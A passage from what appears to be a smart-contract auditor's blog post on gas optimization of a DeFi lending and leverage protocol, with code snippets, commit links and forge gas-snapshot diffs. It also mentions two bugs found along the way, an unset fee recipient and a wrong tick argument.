    (ctx.maxTimesLeverage, ctx.minCollateralPct)
        <span class="hljs-operator">=</span> (vpRef.maxTimesLeverage, vpRef.minCollateralPct);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_isLiquidatable</span>(<span class="hljs-params">LiquidateContext <span class="hljs-keyword">memory</span> ctx</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> liquidateable</span>) </span>{
    <span class="hljs-comment">/* snip */</span>
    <span class="hljs-keyword">uint256</span> base <span class="hljs-operator">=</span> owedAmount <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span> <span class="hljs-operator">/</span> (ctx.maxTimesLeverage <span class="hljs-operator">-</span> <span class="hljs-number">1e18</span>);
    base <span class="hljs-operator">=</span> base <span class="hljs-operator">&lt;</span> ctx.pos.initCollateralValue ? base : ctx.pos.initCollateralValue;

    <span class="hljs-keyword">if</span> (owedAmount <span class="hljs-operator">&gt;</span> totalDenom <span class="hljs-operator">|</span><span class="hljs-operator">|</span> totalDenom <span class="hljs-operator">-</span> owedAmount <span class="hljs-operator">&lt;</span> ctx.minCollateralPct <span class="hljs-operator">*</span> base <span class="hljs-operator">/</span> <span class="hljs-number">1e18</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
</code></pre>
<p>Resulting in further gas savings:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">-</span> [lendingPoolLiquidation] <span class="hljs-number">572916</span> → <span class="hljs-number">572396</span>
<span class="hljs-operator">-</span> [liquidateWithSwap] <span class="hljs-number">615384</span> → <span class="hljs-number">614864</span>
<span class="hljs-operator">-</span> [liquidationNoSwap] <span class="hljs-number">437178</span> → <span class="hljs-number">436658</span>
</code></pre>
<h2 id="heading-pricefeed-identical-reads-in-liquidateposition-amp-isliquidatable"><code>pricefeed</code> Identical Reads In <code>liquidatePosition</code> &amp; <code>_isLiquidatable</code></h2>
<p>A common mistake developers make is re-reading identical values from storage in child functions called by parent functions; in this case:</p>
<ul>
<li><p><code>liquidatePosition</code> calls <code>_isLiquidatable</code> which reads <code>pricefeed</code> from storage into memory</p>
</li>
<li><p><code>liquidatePosition</code> itself reads <code>pricefeed</code> again, resulting in a duplicate storage read</p>
</li>
</ul>
<p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/0f8561cc49d168b8031a9faa7ca4e5bf29a70bd2">Fix</a> this by:</p>
<ul>
<li><p>adding <code>priceFeed</code> to <code>struct LiquidateContext</code></p>
</li>
<li><p>reading it once inside <code>getLiquidateContext</code></p>
</li>
<li><p>reading it from the cached copy in <code>_isLiquidatable</code> and <code>liquidatePosition</code></p>
</li>
</ul>
<p>This again reduces the gas costs across the board:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">-</span> [lendingPoolLiquidation] <span class="hljs-number">572396</span> → <span class="hljs-number">572345</span>
<span class="hljs-operator">-</span> [liquidateWithSwap] <span class="hljs-number">614864</span> → <span class="hljs-number">614813</span>
<span class="hljs-operator">-</span> [liquidationNoSwap] <span class="hljs-number">436658</span> → <span class="hljs-number">436608</span>
</code></pre>
<h2 id="heading-pricefeed-identical-reads-in-calculatetokenvalues"><code>pricefeed</code> Identical Reads In <code>_calculateTokenValues</code></h2>
<p>Continuing to examine the <code>_isLiquidatable</code> child function, observe it:</p>
<ul>
<li><p>calls <code>_calculateTokenValues</code> which is also called by the main function <code>liquidatePosition</code></p>
</li>
<li><p><code>_calculateTokenValues</code> reads the same identical value of <code>pricefeed</code> from storage up to 4 times:</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> (IPriceFeed(pricefeed).hasPriceFeed(token0)) {
    chPrice0 <span class="hljs-operator">=</span> IPriceFeed(pricefeed).getPrice(token0);
    usdValue <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount0 <span class="hljs-operator">*</span> chPrice0 <span class="hljs-operator">/</span> decimals0;
}
<span class="hljs-keyword">if</span> (IPriceFeed(pricefeed).hasPriceFeed(token1)) {
    chPrice1 <span class="hljs-operator">=</span> IPriceFeed(pricefeed).getPrice(token1);
    usdValue <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount1 <span class="hljs-operator">*</span> chPrice1 <span class="hljs-operator">/</span> decimals1;
}
</code></pre>
<p>This is easily <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/506fc7fb95472e483648c4d705c3baf2911b2500">fixed</a> by changing <code>_calculateTokenValues</code> to take the cached <code>pricefeed</code> as input, resulting in even greater gas savings:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">-</span> [lendingPoolLiquidation] <span class="hljs-number">572345</span> → <span class="hljs-number">571293</span>
<span class="hljs-operator">-</span> [liquidateWithSwap] <span class="hljs-number">614813</span> → <span class="hljs-number">613761</span>
<span class="hljs-operator">-</span> [liquidationNoSwap] <span class="hljs-number">436608</span> → <span class="hljs-number">435556</span>
</code></pre>
<h2 id="heading-leverager-further-optimizations"><code>Leverager</code> Further Optimizations</h2>
<p>Further but potentially unsafe gas optimizations could be made by:</p>
<ul>
<li><p>caching the result of external calls such as <code>ILendingPool(lendingPool).getCurrentBorrowingIndex(ctx.pos.denomination)</code></p>
</li>
<li><p>using this to cache the calculated <code>owedAmount</code></p>
</li>
</ul>
<p>Ideally duplicate computations and external calls should be cached if it is safe to do so, but this would be unsafe if it is intended that later duplicate computations and external calls can return different values. Caching is only a safe optimization when the same value is read from storage (or received from an external call) multiple times.</p>
<p>Additional safe gas optimizations made to other <code>Leverager</code> functions include:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/3bce2ec63bd7c9543b3dc5135758a027b3facde3">cache <code>swapRouter</code> in <code>openLeveragedPosition</code></a> and in <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/d8f980e1fad601b10a78ffe2e5a92b87e9389bbd"><code>withdraw</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/894ca3e68ebc3e5a0323ad19991c983494465bf1">don’t read new position from storage in <code>openLeveragePosition</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/093c9dd89fa96e29ba3cd2676a71bdea52095f32">pass cached price feed when building new liquidation context in <code>openLeveragedPosition</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/23ec199ea5eed70e6cf4ee7986d5a71fef8ae8c9">revert if new position is liquidatable prior to writing to storage</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/fa2c32d07f73eabc33a4c99952513fc2bc982f79">revert fast prior to reading storage in <code>withdraw</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/458620cf8a4b56c51d6f58cd5665010cfa5fefe7">read only required <code>VaultParams</code> and fail fast in <code>_checkWithinLimits</code></a></p>
</li>
</ul>
<h2 id="heading-leverager-high-finding-feerecipient-never-set"><code>Leverager</code> High Finding - <code>feeRecipient</code> Never Set</h2>
<p>One heuristic to look for when doing gas optimizations in non-upgradeable contracts is storage slots which can be set to <code>immutable</code> if they are only set once in the constructor. When checking all <code>Leverager</code> storage slots I found that <code>feeRecipient</code> is never set anywhere meaning that either:</p>
<ul>
<li><p>all the fees will be sent to the zero address for tokens which allow this, or</p>
</li>
<li><p>liquidation will be bricked for tokens which revert when sending tokens to the zero address</p>
</li>
</ul>
<h2 id="heading-strategy-high-finding-incorrect-upper-tick-in-collectfees"><code>Strategy</code> High Finding - Incorrect Upper Tick in <code>collectFees</code></h2>
<p>While looking for identical storage reads to cache I noticed this code block where the third call to <code>collectPositionFees</code> was re-reading <code>mainPosition.tickUpper</code> from storage when it likely shouldn’t be:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">if</span> (mainPosition.liquidity <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) collectPositionFees(mainPosition.tickLower, mainPosition.tickUpper);
<span class="hljs-keyword">if</span> (secondaryPosition.liquidity <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
    collectPositionFees(secondaryPosition.tickLower, secondaryPosition.tickUpper);
}
<span class="hljs-keyword">if</span> (ongoingVestingPosition) {
    <span class="hljs-comment">// @audit `mainPosition.tickUpper` likely not intended to be read from</span>
    <span class="hljs-comment">// storage again here, should be `vestPosition.tickUpper`</span>
    collectPositionFees(vestPosition.tickLower, mainPosition.tickUpper);
}
</code></pre>
<p>The impact is that <code>Strategy::collectFees</code> may revert or fail to collect the correct fees since it is passing the wrong upper tick.</p>
<h2 id="heading-lendingpool-gas-optimizations"><code>LendingPool</code> Gas Optimizations</h2>
<p>Similar gas optimizations can be made to the <code>LendingPool</code> contract including:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/2c1e276692efe8e37b6bd030b552d38ad22fd91d">don’t initialize to default values</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/8bb3d1c28f4511f2ce8e76894f6a353a75bbd9b3">cache <code>yTokenAddress</code> in <code>redeem</code></a> and <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/ffcf5240c5247f98f5d721b1a8cec6fd7b6ddbe4"><code>deposit</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/83d719c0579dfa32a214084eb589fcac25ef525c">cache <code>totalBorrows</code> in <code>repay</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/7d6e1f8e7125403c214f5a9020c4283204ab9fb3">don’t copy entire <code>ReserveData</code> in <code>pullFunds</code>, <code>pushFunds</code></a> and <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/8bc72a7c0397656fc194c81bdb3496f824a87746"><code>getLeverageParams</code></a></p>
</li>
</ul>
<h2 id="heading-strategy-gas-optimizations"><code>Strategy</code> Gas Optimizations</h2>
<p>The <code>Strategy</code> contract can also benefit from the following gas optimizations:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/73230c759676e8c3ff29dfde518350e2c42e0832">use <code>immutable</code> for storage slots only set once in <code>constructor</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/284562b40b75f8d5c50b76429a0c336bc497a500">cache <code>ongoingVestingPosition</code>, <code>protocolFee</code> and <code>feeRecipient</code> in <code>collectFees</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/afe32d320b5a676a0d75f3e1600e2b99f34db247">cache <code>tickTwapDeviation</code> in <code>_priceWithinRange</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/122bab2fd0b5631f7b4c9d3fdd91da4dfa30727f">cache <code>maxObservationDeviation</code> in <code>checkPoolActivity</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/b2c0e19559720b84d868183405895bc6fc21dfc9">cache <code>twap</code> in <code>twapTick</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/d35a8cd8b0446ddff4514d4cc3559d93de3353c2">cache new lower/upper ticks in <code>_setSecondaryPositionsTicks</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/4510339875679caef78dd0273c3147b1be60ffff">use cached <code>VestingPosition</code> for final check in <code>_withdrawPartOfVestingPosition</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/4573df718a2cf6d9f17b76e33579658e90a75c2c">in <code>rebalance</code> cache updated ticks and use when adding liquidity</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/c8ed6e4937cc046919a0792cff93c911c407f673">cache <code>twap</code> inside <code>_priceWithinRange</code> and pass to child functions</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/eb028b147fae62c06b12f1cac0ac1c8456d3130e">in <code>rebalance</code> cache main/secondary positions and use cache when collecting fees and removing positions</a></p>
</li>
</ul>
<h2 id="heading-vault-gas-optimizations"><code>Vault</code> Gas Optimizations</h2>
<p>The <code>Vault</code> contract was improved with some minor gas optimizations:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/3f6dfbd778cfae2f945af1d28411d8d521ca95b2">make <code>token0</code> and <code>token1</code> <code>immutable</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/78debb2786258e0c8d76f96cf3c368033b769f00">cache <code>strategy</code> and <code>depositFee</code> in <code>deposit</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/d54d8e87829469bbb154acbec868f79f6e041fa3">cache <code>strategy</code> in <code>withdraw</code></a> and <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/e192b169f19762e0f95dd8f7a9ad6bd8fb741ba1"><code>addVestingPosition</code></a></p>
</li>
</ul>
<h2 id="heading-internal-library-gas-optimizations">Internal Library Gas Optimizations</h2>
<p>Internal libraries which execute functions over storage references also benefit from gas optimizations:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/4c471f0da3722e45c477295760808b3598c1a2ed">cache several fields used in <code>InterestRateUtils::calculateBorrowingRate</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/a53568845ffc08853e30978973f8fdc9130c6d9b">cache <code>lastUpdateTimestamp</code> in <code>ReserveLogic::latestBorrowingIndex</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/14964179a850981acf524670457f9b78da21bf0a">lazy loading, storage caching and only write to storage if values changed in <code>ReserveLogic::_updateIndexes</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/69b6ae3fa652fa12310a5ea0accaebd63a43c0dc">cache <code>borrowingIndex</code> in <code>ReserveLogic::borrowedLiquidity</code></a></p>
</li>
</ul>
<h2 id="heading-interim-gas-optimization-results">Interim Gas Optimization Results</h2>
<p>Run <code>forge snapshot --diff --fork-url ETH_RPC_URL --fork-block-number 20956198</code> to get the “test function snapshots” gas output:</p>
<pre><code class="lang-solidity">test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-9887</span> (<span class="hljs-number">-1.166</span><span class="hljs-operator">%</span>)) 
test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-9931</span> (<span class="hljs-number">-1.170</span><span class="hljs-operator">%</span>)) 
test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15758</span> (<span class="hljs-number">-1.207</span><span class="hljs-operator">%</span>)) 
test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15758</span> (<span class="hljs-number">-1.207</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-19229</span> (<span class="hljs-number">-1.217</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-19229</span> (<span class="hljs-number">-1.217</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-10083</span> (<span class="hljs-number">-1.376</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-10086</span> (<span class="hljs-number">-1.376</span><span class="hljs-operator">%</span>)) 
test_Gas_LendingPool() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-40343</span> (<span class="hljs-number">-1.465</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-11360</span> (<span class="hljs-number">-1.478</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-11361</span> (<span class="hljs-number">-1.478</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionDueToVolatileVault() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-14377</span> (<span class="hljs-number">-1.562</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-19643</span> (<span class="hljs-number">-1.634</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-19660</span> (<span class="hljs-number">-1.636</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-16235</span> (<span class="hljs-number">-1.735</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-16236</span> (<span class="hljs-number">-1.735</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentFromBorrower() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-30923</span> (<span class="hljs-number">-1.738</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentAndClaim() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-30923</span> (<span class="hljs-number">-1.802</span><span class="hljs-operator">%</span>)) 
test_borrowInThirdToken() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-62728</span> (<span class="hljs-number">-2.585</span><span class="hljs-operator">%</span>)) 
test_partialWithdraw() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-67099</span> (<span class="hljs-number">-2.880</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork2() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-55670</span> (<span class="hljs-number">-2.916</span><span class="hljs-operator">%</span>)) 
test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-10889</span> (<span class="hljs-number">-2.960</span><span class="hljs-operator">%</span>)) 
test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-10893</span> (<span class="hljs-number">-2.961</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-61307</span> (<span class="hljs-number">-3.212</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationNoSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-84678</span> (<span class="hljs-number">-3.814</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationWithSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-85708</span> (<span class="hljs-number">-3.840</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionWhenReserveInactive() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-68329</span> (<span class="hljs-number">-4.091</span><span class="hljs-operator">%</span>)) 
test_lendingRate() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-70875</span> (<span class="hljs-number">-4.276</span><span class="hljs-operator">%</span>)) 
test_permissionedFunctions() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-108575</span> (<span class="hljs-number">-4.305</span><span class="hljs-operator">%</span>)) 
test_borrowToken1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-69476</span> (<span class="hljs-number">-4.594</span><span class="hljs-operator">%</span>)) 
test_cantOpenDueToPoolPriceOff() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">0</span> (NaN<span class="hljs-operator">%</span>)) 
Overall gas change: <span class="hljs-number">-1077249</span> (<span class="hljs-number">-2.503</span><span class="hljs-operator">%</span>)
</code></pre>
<p>So far across the entire test suite we’ve reduced gas costs by 1.166% → 4.594% with an overall gas reduction of 2.503% saving 1,077,249 gas, largely by refactoring the existing Solidity code to reduce the amount of identical storage reads.</p>
<h2 id="heading-external-library-gas-optimizations">External Library Gas Optimizations</h2>
<p>The protocol uses a number of external libraries from <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/">OpenZeppelin</a>. Further gas savings can be realized by changing the contracts to use similar functions from <a target="_blank" href="https://github.com/Vectorized/solady">Solady</a>. First install Solady using:</p>
<ul>
<li><p><code>forge install Vectorized/solady</code></p>
</li>
<li><p>add <code>"@solady/=lib/solady/src/",</code> to <code>foundry.toml</code> <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/8c3a41c8b09b38594a8cbff20d7cc607e0a47129">remappings</a></p>
</li>
</ul>
<p>Next systematically change the protocol’s contracts to use Solady libraries instead of OpenZeppelin:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/81abeca91249cc9598900bab7a881da2ad19dd97">Solady <code>ERC20</code>, <code>SafeTransferLib</code> and <code>ReentrancyGuardTransient</code> in <code>yToken</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/9f309c35c56a39db157a4ba298546ca9515eb49e">Solady <code>ERC20</code>, <code>SafeTransferLib</code> and <code>Ownable</code> in <code>Vault</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/b34eadfbb99a8773fb5ad81530dcfc7181f2222c">Solady <code>SafeTransferLib</code>, <code>Ownable</code> and <code>FixedPointMathLib</code> in <code>Strategy</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/88fa8f94f91d4eec1415ad3781393649cf39b5d5">Solady <code>ERC721</code>, <code>Ownable</code>, <code>SafeTransferLib</code> and <code>ReentrancyGuardTransient</code> in <code>Leverager</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/9fd22082c59ce374d91faba32911ca4c77e1ca04">Solady <code>Ownable</code>, <code>SafeTransferLib</code> and <code>ReentrancyGuardTransient</code> in <code>LendingPool</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/77842fa3e0ab9df421a0c7685d4761c5bd0d63ae">Solady <code>FixedPointMathLib</code> in <code>LiquidtyAmounts</code></a></p>
</li>
</ul>
<p>With the optimized external libraries run <code>forge snapshot --diff --fork-url ETH_RPC_URL --fork-block-number 20956198</code> to refresh the “test function snapshots” gas output:</p>
<pre><code class="lang-solidity">test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-20293</span> (<span class="hljs-number">-1.555</span><span class="hljs-operator">%</span>)) 
test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-20293</span> (<span class="hljs-number">-1.555</span><span class="hljs-operator">%</span>)) 
test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-14501</span> (<span class="hljs-number">-1.711</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-28079</span> (<span class="hljs-number">-1.777</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-28080</span> (<span class="hljs-number">-1.777</span><span class="hljs-operator">%</span>)) 
test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15237</span> (<span class="hljs-number">-1.796</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15522</span> (<span class="hljs-number">-2.019</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15522</span> (<span class="hljs-number">-2.019</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15992</span> (<span class="hljs-number">-2.183</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-15994</span> (<span class="hljs-number">-2.183</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-27003</span> (<span class="hljs-number">-2.247</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-27004</span> (<span class="hljs-number">-2.247</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-21996</span> (<span class="hljs-number">-2.351</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-21996</span> (<span class="hljs-number">-2.351</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionDueToVolatileVault() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-27920</span> (<span class="hljs-number">-3.034</span><span class="hljs-operator">%</span>)) 
test_Gas_LendingPool() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-85556</span> (<span class="hljs-number">-3.107</span><span class="hljs-operator">%</span>)) 
test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-12440</span> (<span class="hljs-number">-3.382</span><span class="hljs-operator">%</span>)) 
test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-12444</span> (<span class="hljs-number">-3.382</span><span class="hljs-operator">%</span>)) 
test_permissionedFunctions() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-94015</span> (<span class="hljs-number">-3.728</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentFromBorrower() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-78629</span> (<span class="hljs-number">-4.418</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentAndClaim() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-78069</span> (<span class="hljs-number">-4.548</span><span class="hljs-operator">%</span>)) 
test_partialWithdraw() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-125069</span> (<span class="hljs-number">-5.367</span><span class="hljs-operator">%</span>)) 
test_borrowInThirdToken() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-135182</span> (<span class="hljs-number">-5.570</span><span class="hljs-operator">%</span>)) 
test_lendingRate() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-92864</span> (<span class="hljs-number">-5.602</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork2() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-110189</span> (<span class="hljs-number">-5.773</span><span class="hljs-operator">%</span>)) 
test_borrowToken1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-89333</span> (<span class="hljs-number">-5.907</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionWhenReserveInactive() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-98835</span> (<span class="hljs-number">-5.917</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-115929</span> (<span class="hljs-number">-6.073</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationNoSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-136030</span> (<span class="hljs-number">-6.126</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationWithSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-138334</span> (<span class="hljs-number">-6.198</span><span class="hljs-operator">%</span>)) 
test_cantOpenDueToPoolPriceOff() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">0</span> (NaN<span class="hljs-operator">%</span>)) 
Overall gas change: <span class="hljs-number">-1718350</span> (<span class="hljs-number">-3.992</span><span class="hljs-operator">%</span>)
</code></pre>
<p>Optimizing the external libraries increased:</p>
<ul>
<li><p>minimum gas saving from 1.166% to 1.555%</p>
</li>
<li><p>maximum gas saving from 4.594% to 6.198%</p>
</li>
<li><p>overall gas saving from 2.503% to 3.992%, saving 1,718,350 gas instead of only 1,077,249 which is a nice 37% improvement!</p>
</li>
</ul>
<h2 id="heading-enabling-the-optimizer">Enabling The Optimizer</h2>
